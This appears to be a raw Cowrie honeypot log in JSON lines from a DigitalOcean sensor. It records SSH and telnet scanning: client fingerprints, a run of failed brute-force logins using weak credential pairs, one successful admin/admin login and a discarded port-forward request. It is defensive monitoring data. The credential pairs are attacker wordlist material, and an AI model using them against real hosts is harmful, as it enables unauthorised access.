{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:49:03.365941Z","src_ip":"159.203.92.129","session":"cdc8e64424fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"CloudNet","password":"CloudNet","message":"login attempt [CloudNet/CloudNet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:49:03.427021Z","src_ip":"159.203.92.129","session":"cdc8e64424fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:49:04.438295Z","src_ip":"159.203.92.129","session":"cdc8e64424fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.84","src_port":35798,"dst_ip":"159.203.135.109","dst_port":22,"session":"cfb9fcbd5190","protocol":"ssh","message":"New connection: 37.143.61.84:35798 (159.203.135.109:22) [session: cfb9fcbd5190]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:49:27.485054Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:49:27.895425Z","src_ip":"37.143.61.84","session":"cfb9fcbd5190","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:49:27.981642Z","src_ip":"37.143.61.84","session":"cfb9fcbd5190","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"asdfgh","message":"login attempt [mysql/asdfgh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:49:28.486307Z","src_ip":"37.143.61.84","session":"cfb9fcbd5190","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:49:30.202027Z","src_ip":"37.143.61.84","session":"cfb9fcbd5190","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59212,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf822e4297a4","protocol":"ssh","message":"New connection: 159.203.92.129:59212 (159.203.135.109:22) [session: cf822e4297a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:49:44.652783Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:49:44.657326Z","src_ip":"159.203.92.129","session":"cf822e4297a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:49:44.662151Z","src_ip":"159.203.92.129","session":"cf822e4297a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Control","password":"123","message":"login attempt [Control/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:49:44.717863Z","src_ip":"159.203.92.129","session":"cf822e4297a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:49:45.729812Z","src_ip":"159.203.92.129","session":"cf822e4297a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":42930,"dst_ip":"10.17.0.5","dst_port":22,"session":"42e6cd81eb48","protocol":"ssh","message":"New connection: 87.251.64.176:42930 (10.17.0.5:22) [session: 42e6cd81eb48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:50:03.432030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:50:03.437301Z","src_ip":"87.251.64.176","session":"42e6cd81eb48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:50:03.537215Z","src_ip":"87.251.64.176","session":"42e6cd81eb48","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:50:03.829942Z","src_ip":"87.251.64.176","session":"42e6cd81eb48","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:50:03.928291Z","session":"42e6cd81eb48","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:50:04.029482Z","src_ip":"87.251.64.176","session":"42e6cd81eb48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:50:04.266652Z","src_ip":"87.251.64.176","session":"42e6cd81eb48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":44776,"dst_ip":"159.203.135.109","dst_port":22,"session":"e84422c6c05a","protocol":"ssh","message":"New connection: 159.203.92.129:44776 (159.203.135.109:22) [session: e84422c6c05a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:50:26.162717Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:50:26.174189Z","src_ip":"159.203.92.129","session":"e84422c6c05a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:50:26.178253Z","src_ip":"159.203.92.129","session":"e84422c6c05a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Control","password":"123456","message":"login attempt [Control/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:50:26.234852Z","src_ip":"159.203.92.129","session":"e84422c6c05a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:50:27.243615Z","src_ip":"159.203.92.129","session":"e84422c6c05a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.11.40.144","src_port":41708,"dst_ip":"159.203.135.109","dst_port":23,"session":"a9e6126a6cb4","protocol":"telnet","message":"New connection: 47.11.40.144:41708 (159.203.135.109:23) [session: a9e6126a6cb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:50:35.969343Z"}
{"eventid":"cowrie.session.closed","duration":120.00537896156311,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:50:44.856919Z","src_ip":"109.152.96.59","session":"a81201d3a933","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.599419116973877,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:50:49.568649Z","src_ip":"47.11.40.144","session":"a9e6126a6cb4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":27957,"dst_ip":"10.17.0.5","dst_port":22,"session":"29aa7f38d652","protocol":"ssh","message":"New connection: 2.57.121.112:27957 (10.17.0.5:22) [session: 29aa7f38d652]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:50:57.014111Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:50:57.019494Z","src_ip":"2.57.121.112","session":"29aa7f38d652","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:50:57.121519Z","src_ip":"2.57.121.112","session":"29aa7f38d652","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"20041974","message":"login attempt [admin/20041974] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:50:57.601573Z","src_ip":"2.57.121.112","session":"29aa7f38d652","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"200382","message":"login attempt [admin/200382] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:50:58.706817Z","src_ip":"2.57.121.112","session":"29aa7f38d652","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"20031997","message":"login attempt [admin/20031997] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:50:59.813356Z","src_ip":"2.57.121.112","session":"29aa7f38d652","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"200283","message":"login attempt [admin/200283] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:51:00.920942Z","src_ip":"2.57.121.112","session":"29aa7f38d652","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"20022004","message":"login attempt [admin/20022004] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:51:02.028486Z","src_ip":"2.57.121.112","session":"29aa7f38d652","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:51:03.133292Z","src_ip":"2.57.121.112","session":"29aa7f38d652","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":59230,"dst_ip":"159.203.135.109","dst_port":22,"session":"29f9c724ed4e","protocol":"ssh","message":"New connection: 2.57.122.238:59230 (159.203.135.109:22) [session: 29f9c724ed4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:51:04.104621Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:51:04.110694Z","src_ip":"2.57.122.238","session":"29f9c724ed4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:51:04.214695Z","src_ip":"2.57.122.238","session":"29f9c724ed4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"validator","password":"validator","message":"login attempt [validator/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:51:04.518393Z","src_ip":"2.57.122.238","session":"29f9c724ed4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:51:05.622326Z","src_ip":"2.57.122.238","session":"29f9c724ed4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":47532,"dst_ip":"159.203.135.109","dst_port":22,"session":"ccbc4010ce90","protocol":"ssh","message":"New connection: 159.203.92.129:47532 (159.203.135.109:22) [session: ccbc4010ce90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:51:06.433996Z"}
